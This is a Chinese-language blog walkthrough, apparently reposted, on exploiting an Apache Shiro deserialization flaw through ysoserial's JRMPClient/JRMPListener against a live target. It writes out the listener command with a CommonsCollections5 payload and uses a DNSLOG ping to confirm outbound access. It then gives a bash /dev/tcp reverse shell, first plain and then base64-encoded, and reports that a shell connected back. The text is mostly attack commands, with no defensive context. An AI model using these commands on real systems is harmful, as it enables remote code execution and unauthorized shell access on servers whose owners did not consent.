天天看點

shiro反序列漏洞中之JRMPClient的利用

作者:區塊軟體開發

前言

最近在測試中遇到一些shiro反序列化不能利用的情況 找到key 無法找到利用鍊,但是發現存在JRMPClient可用的情況

shiro反序列漏洞中之JRMPClient的利用

換一種工具嘗試

shiro反序列漏洞中之JRMPClient的利用

發現 JRMPClient 可用, 嘗試使用 JRMPClient 進行測試,最終這個目标也沒有執行成功是以換了一個目标進行的嘗試,僅記錄JRMPClient 利用方式。

使用JRMPClient子產品進行測試

找到一個同樣存在shiro反序列的目标。

shiro反序列漏洞中之JRMPClient的利用

同樣find: JRMPClient can be use。

搭建JRMPClient 監聽服務

首先需要搭建 JRMPClient 使用ysoserial.jar 工具搭建服務,下載下傳位址:https://github.com/frohoff/ysoserial

使用DNSLOG進行檢測

在不确定目标是否通外網的情況下 先使用DNSLOG進行檢測 擷取一個新的域名 :w3dh1h.dnslog.cn

shiro反序列漏洞中之JRMPClient的利用

VPS上開啟JRMPListener

在VPS上搭建服務指令

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "ping w3dh1h.dnslog.cn"

shiro反序列漏洞中之JRMPClient的利用

shiro反序列利用工具中選擇JRMPClient,然後輸入VPS上搭建服務的位址:

shiro反序列漏洞中之JRMPClient的利用

JRMPListener 收到傳回資訊

shiro反序列漏洞中之JRMPClient的利用

DNSLOG上收到目标的ping 指令資訊 說明目标伺服器通外網

shiro反序列漏洞中之JRMPClient的利用

執行反彈指令

執行反彈指令 bash -i >& /dev/tcp/xxxxxx/8888 0>&1

shiro反序列漏洞中之JRMPClient的利用

沒有收到反彈連結

shiro反序列漏洞中之JRMPClient的利用

将指令進行base64編碼 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eHgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"

shiro反序列漏洞中之JRMPClient的利用

成功收到反彈連結

shiro反序列漏洞中之JRMPClient的利用
from https://www.secpulse.com/archives/192266.html

繼續閱讀